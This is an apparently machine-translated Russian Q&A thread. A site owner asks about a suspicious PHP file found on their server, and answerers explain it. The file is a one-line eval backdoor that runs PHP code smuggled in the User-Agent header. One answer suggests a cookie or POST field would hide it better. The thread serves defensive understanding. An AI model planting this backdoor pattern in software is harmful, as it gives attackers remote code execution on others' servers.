Подозрительный файл PHP может

Сегодня я ищу вашу помощь, чтобы получить справку о файле, который я нашел на своем FTP сегодня утром. Я не профессионал во всех этих функциях PHP, поэтому я публикую его здесь.

Я нашел файл index.php в папке sub-images.

Есть необработанный код:

<?php

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }

?>

Две функции PHP

Для функции eval() они говорят, что это очень опасно.

Внимание. Языковая конструкция eval() очень опасна, потому что она позволяет выполнять произвольный PHP-код. Таким образом, его использование не рекомендуется. Если вы тщательно убедились, что нет другого варианта, кроме как использовать эту конструкцию, обратите особое внимание на то, чтобы не передавать какие-либо данные, предоставленные пользователем, без надлежащей проверки их заранее.

Вот почему я думаю, что кто-то может попытаться взломать мой сайт или даже больше.

Кто-нибудь имеет возможность расшифровать это и объяснить мне?

Спасибо,

2 ответа

Решение

Давайте начнем с самого начала.

  • eregi является устаревшей функцией, начиная с PHP 5.3.0.
  • eregi является регистронезависимым регулярным выражением.

Итак, что это делает?

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {

Если final находится в HTTP_USER_AGENT, затем....

Замените "Mozilla/5.0 (3.1.final)" на [пусто] в HTTP_USER_AGENT, И убей сценарий.

Заключение

Это неэффективно с точки зрения изменения данных на вашем сайте, но сделает ваш сайт "мертвым" для всех, у кого есть слово final в их пользовательском агенте, который, я думаю, будет окончательной версией каждого основного браузера; хотя я не могу найти источник по этому вопросу.

редактировать

eval меня удивило Поскольку очевидно, что ты не положил это здесь, eval оценит код и выполнит его - что касается атаки. Единственный способ получить удаленный код для выполнения на вашем сайте - "подделать" своего пользовательского агента, убедившись, что у него есть фраза Mozilla/5.0 (3.1.final) там следует весь код, который они хотят выполнить. Например;

Я подменю свой пользовательский агент, чтобы стать

Mozilla/5.0 (3.1.final)  echo 'Lol, you got hacked'

Из-за str_replace, экран будет просто отображать слова Lol, you got hacked так как eval выполнит echo, Конечно, злоумышленник поставит гораздо более вредные команды для оценки. Удалить этот код немедленно

Да, это простой eval backdoor, установленный таким образом, что кто-то может вернуться в любое время позже и использовать ваш сервер для всего, что ему захочется.

Он принимает строку агента пользователя, начинающуюся с Mozilla/5.0 (3.1.final) (которая не является реальной строкой пользовательского агента) и обрабатывает оставшуюся часть строки как код PHP, который выполняется через eval вызов.

(Странная часть заключается в том, что они использовали для этого пользовательский агент, поскольку это поле регулярно регистрируется в стандартных веб-журналах. Использование поля POST или файла cookie будет гораздо более скрытным.)

Другие вопросы по тегам